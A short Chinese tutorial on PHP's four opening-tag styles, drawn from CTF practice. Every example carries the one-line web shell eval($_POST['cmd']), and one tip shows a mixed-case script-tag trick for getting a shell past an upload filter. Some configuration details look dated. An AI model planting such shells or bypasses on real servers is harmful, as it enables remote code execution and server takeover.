PHP的標識有哪些？

PHP四種標記風格

1.XML風格

<?php eval($_POST['cmd']);   ?>

php推薦使用的標記風格。

服務(wù)器管理員無法禁用，所有服務(wù)器上均可使用該風格。

2.腳本風格

<script language="php">     eval($_POST['cmd']); </script>

默認開啟，無法禁用

筆者曾遇到過一CTF題目，要求上傳shell，但是卻對文件內(nèi)容做了過濾 ，<? 以及 php，替換為了空格。此種風格中，language的值，大小寫都可以，因此可以構(gòu)造如下代碼進行繞過

<script language="PhP">     eval($_POST['cmd']); </script>

3.簡短風格

<?      eval($_POST['cmd']); ?>

此種風格需要在配置文件php.ini中啟用short_open_tage選項

此種風格在許多環(huán)境中默認是不支持的

4.ASP風格

<%      eval($_POST['cmd']); %>

此種風格需要在配置文件php.ini中啟用asp_tag選項

在默認情況下是禁用的